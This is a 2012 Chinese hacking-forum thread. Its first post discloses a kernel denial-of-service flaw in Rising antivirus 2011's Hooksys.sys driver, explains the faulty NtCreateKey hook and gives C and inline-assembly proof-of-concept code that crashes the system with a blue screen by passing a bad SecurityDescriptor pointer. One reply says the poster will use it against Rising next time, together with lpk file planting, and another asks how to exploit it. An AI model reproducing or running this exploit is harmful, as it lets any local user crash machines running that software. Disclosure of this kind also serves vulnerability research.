# 瑞星全功能安全软件2011内核拒绝服务漏洞

**URL:** <https://forum.90sec.com/t/topic/3608>\
**Category:** 工具资源\
**Created:** [2012 年5 月 27 日 04:48 UTC](https://forum.90sec.com/t/topic/3608 "2012-05-27T04:48:09Z")\
**Posts on this page:** 6\
**Page:** 1

<div class="post-metadata">

作者： ![Micropoor1](https://forum.90sec.com/user_avatar/forum.90sec.com/micropoor1/32/11345_2.png) [@Micropoor1](https://forum.90sec.com/u/Micropoor1)\
发布日期： [2012 年5 月 27 日 04:48 UTC](https://forum.90sec.com/t/topic/3608/1 "2012-05-27T04:48:09Z")

</div>

瑞星全功能安全软件2011是一款集“智能云安全”,智能安全防护,智能杀毒为一体的专业安全软件.

最新版本23.00.63.28(2012-5-27)存在内核拒绝服务漏洞,可导致任意权限用户在安装了瑞星的系统上引发蓝屏.  
存在问题的组件：Hooksys.sys  
版本：25.0.0.57，CheckSum = 0002ED85, TimeStamp = 4EDDA48B  
数字签名仍为2011.12.6

瑞星在NtCreateKey HOOK函数中对ObjectAttributes结构体的参数校验不严格,就将参数传递给内核函数ZwOpenKey,结果引发蓝屏.在未安装瑞星的系统下没有影响.  
调用过程:  
ZwCreateKey -\> hk\_ZwCreateKey -\> (检查了ObjectAttributes-\>ObjectName) -\> ZwOpenKey -\> 上个模式改为KernelMode,系统不检查参数有效性 -\>ObOpenObjectByName -\> ObpCaptureObjectCreateInformation -\> 系统函数判断SecurityDescriptor域存在，且上个模式为内核模式，因此不做参数检查,直接将参数 -\>SeCaptureSecurityDescriptor -\> SeCaptureSecurityDescriptor访问错误的SecurityDescriptor地址，系统崩溃蓝屏  
偏移Hooksys+e27a

```auto

//测试代码:
        WCHAR fuzz[] = L"xxxx_fuzz_rising";

  HMODULE hlib = LoadLibrary(L"ntdll.dll");
  PVOID p = GetProcAddress(hlib , "ZwCreateKey");

```

OBJECT\_ATTRIBUTES oba ;  
UNICODE\_STRING strname ;  
strname.Buffer = fuzz;  
strname.Length = wcslen(strname.Buffer) \* sizeof(WCHAR) ;

InitializeObjectAttributes(&oba , &strname ,0 , 0,(PVOID)0x80000000);

\_\_asm{

```
push 0 
  push 0
  push 0
  push 0
  lea eax,oba
  push eax
  push 0
  push 0
  call p 

```

}

return 0;

---

<div class="post-metadata">

作者： ![piaoyu](https://forum.90sec.com/user_avatar/forum.90sec.com/piaoyu/32/11412_2.png) [@piaoyu](https://forum.90sec.com/u/piaoyu)\
发布日期： [2012 年5 月 27 日 06:05 UTC](https://forum.90sec.com/t/topic/3608/2 "2012-05-27T06:05:34Z")

</div>

占沙发，慢慢看{:4\_51:}

---

<div class="post-metadata">

作者： ![wefgod](https://forum.90sec.com/letter_avatar_proxy/v4/letter/w/a587f6/32.png) [@wefgod](https://forum.90sec.com/u/wefgod)\
发布日期： [2012 年5 月 28 日 01:53 UTC](https://forum.90sec.com/t/topic/3608/3 "2012-05-28T01:53:02Z")

</div>

哈哈，这个不错，下次遇到瑞星的时候可以直接上了。写lpk到某些文件夹下，哈哈，好东西感谢

---

<div class="post-metadata">

作者： ![hack2012](https://forum.90sec.com/user_avatar/forum.90sec.com/hack2012/32/908_2.png) [@hack2012](https://forum.90sec.com/u/hack2012)\
发布日期： [2012 年5 月 28 日 14:05 UTC](https://forum.90sec.com/t/topic/3608/4 "2012-05-28T14:05:37Z")

</div>

强大，膜拜大牛，研究软件漏洞了已经。

---

<div class="post-metadata">

作者： ![user40](https://forum.90sec.com/user_avatar/forum.90sec.com/user40/32/11393_2.png) [@user40](https://forum.90sec.com/u/user40)\
发布日期： [2012 年6 月 11 日 14:43 UTC](https://forum.90sec.com/t/topic/3608/5 "2012-06-11T14:43:20Z")

</div>

缘分是我最大的动力·····{:4\_06:}谢谢你····

---

<div class="post-metadata">

作者： ![tmd-sb](https://forum.90sec.com/letter_avatar_proxy/v4/letter/t/67e7ee/32.png) [@tmd-sb](https://forum.90sec.com/u/tmd-sb)\
发布日期： [2012 年7 月 16 日 05:10 UTC](https://forum.90sec.com/t/topic/3608/6 "2012-07-16T05:10:44Z")

</div>

如何利用这个漏洞？
